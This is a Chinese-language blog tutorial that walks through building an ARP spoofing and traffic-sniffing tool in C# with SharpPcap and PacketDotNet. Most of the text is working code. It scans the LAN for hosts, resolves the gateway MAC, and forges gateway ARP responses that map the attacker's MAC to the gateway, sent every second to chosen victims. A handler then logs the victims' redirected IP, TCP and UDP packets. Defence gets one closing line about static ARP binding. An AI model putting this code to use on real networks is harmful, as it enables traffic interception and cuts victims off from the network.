由于之前写的C# 实现Arp欺诈的文章属于网络攻击，不能够被展示，所以这边我们稍微说一下C#调用ARP包以及查看其他电脑上网数据包的技术，委婉的说一下ARP在局域网之中的应用。
本文章纯属技术讨论，并且涵盖了如何去防止ARP攻击的手段。
目录
ARP作用
学到一点网络的都知道，ARP本身用于IP地址和MAC地址的转换，主要是在七层网络协议中，网络层之下就是使用MAC地址进行通信了，这样的设计本身也是底层可以无关上层通讯协议的变化而变化，而提供一个统一的接口。
比如局域网中的A主机和B主机，如果A主机的ARP缓存中有B主机的MAC地址，则直接发送数据到对应MAC地址，没有则通过发送ARP广播数据包的方式，根据回应来更新ARP缓存。
ARP欺骗原理
创建一个arp包，将网关ip地址和错误的网关mac地址发送给目标主机，让主机更新错误的mac-ip地址映射到缓存中。
工具
开源的.net arp库: SharpPcap,PacketDotNet
项目中导入：
<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />
实战
获取本机所有的网络设备
LibPcapLiveDeviceList.Instance
获取对应设备的ip和mac地址,以及网关ip
foreach (var address in LibPcapLiveDevice.Addresses)
{
if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
{
//ipv4地址
if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
{
LocalIp = address.Addr.ipAddress;
break;
}
}
}
foreach (var address in LibPcapLiveDevice.Addresses)
{
if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
{
LocalMac = address.Addr.hardwareAddress; // 本机MAC
}
}
var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
获取网关mac地址
通过发送arp包到网关，获取响应包，从响应包中获取mac地址。
1.创建arp包
var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;
2.发送arp包到网关，并且等待下一个回复包。
LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
if (requestInterval < (DateTime.Now - lastRequestTime))
{
LibPcapLiveDevice.SendPacket(request);
lastRequestTime = DateTime.Now;
}
if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
{
if (packet.Device.LinkType != LinkLayers.Ethernet)
{
continue;
}
var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
arpPacket = pack.Extract<ArpPacket>();
if (arpPacket == null)//是否是一个arp包
{
continue;
}
if (arpPacket.SenderProtocolAddress.Equals(destIP))
{
break;
}
}
}
// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;
扫描局域网内活动ip和mac地址
1.设置扫描的ip区间，生成每个ip的arp请求包
var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}
2.发送arp包到各个ip，如果回复了则在线，超时则认为不活动
if (_cancellationTokenSource.IsCancellationRequested)
{
break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
if (_cancellationTokenSource.IsCancellationRequested)
{
break;
}
if (requestInterval < (DateTime.Now - lastRequestTime))
{
LibPcapLiveDevice.SendPacket(arpPackets[i]);
lastRequestTime = DateTime.Now;
}
if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
{
if (packet.Device.LinkType != LinkLayers.Ethernet)
{
continue;
}
var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
var arpPacket = pack.Extract<ArpPacket>();
if (arpPacket == null)
{
continue;
}
//回复的arp包并且是我们请求的ip地址
if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
{
Application.Current.Dispatcher.Invoke(() =>
{
///增加到IPlist中
Computers.Add(new Computer()
{
IPAddress = arpPacket.SenderProtocolAddress.ToString(),
MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
});
});
break;
}
}
}
指定ip/ips攻击
攻击包就不能创建请求包， 应该伪造一个来自网关的响应包，从而将网关错误的mac地址更新到目标主机的缓存中。
1.创建错误的响应包
private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
ethernetPacket.PayloadPacket = arpPacket;
return ethernetPacket;
}
调用创建arp响应包，但是可以看到最后一个mac地址，应该是网关的mac地址，我们替换成了自己本地mac地址。
BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);
2.直接以1000ms的间隔轮询发送响应包到目标主机
var aTask = Task.Run(async () =>
{
while (true)
{
if (_cancellationTokenSource1.IsCancellationRequested)
{
break;
}
try
{
LibPcapLiveDevice.SendPacket(packet);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
await Task.Delay(1000);
}
LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);
获取网络数据包
此时的被攻击的电脑，由于它的网关对应的MAC地址被我们替换成了自己电脑的MAC,所以原本通过网关发送的数据包，都会发送到我们电脑上来，我们不做任何处理就会导致电脑无法上网，我们可以通过监听网卡查看来自该电脑的数据包，从而窥探一些请求。
/// <summary>
/// 监听到攻击的网卡收到的数据包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
try
{
var device = sender as LibPcapLiveDevice;
var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
if (packet != null)
{
if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据
{
var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());
if (targetComputer != null)
{
var ipPacket = ethernetPacket.Extract<IPPacket>();
if (ipPacket != null)
{
var packetViewModel = new PacketViewModel();
packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();
var udpPacket = ipPacket.Extract<UdpPacket>();
var tcpPacket = ipPacket.Extract<TcpPacket>();
packetViewModel.Type = "IP";
if (udpPacket != null)
{
packetViewModel.SourcePort = udpPacket.SourcePort;
packetViewModel.TargetPort = udpPacket.DestinationPort;
packetViewModel.Type = "UDP";
}
if (tcpPacket != null)
{
packetViewModel.SourcePort = tcpPacket.SourcePort;
packetViewModel.TargetPort = tcpPacket.DestinationPort;
packetViewModel.Type = "TCP";
}
targetComputer.AddPacket(packetViewModel);
}
else
{
///mac地址没啥好记录的都知道了
var packetViewModel = new PacketViewModel();
packetViewModel.Type = "以太网";
targetComputer.AddPacket(packetViewModel);
}
}
}
}
}
catch (Exception)
{
}
}
我们解析了IP数据包，TCP以及UDP包。
工具页面
如何预防?
一般只需要本地将网关和MAC地址静态绑定即可。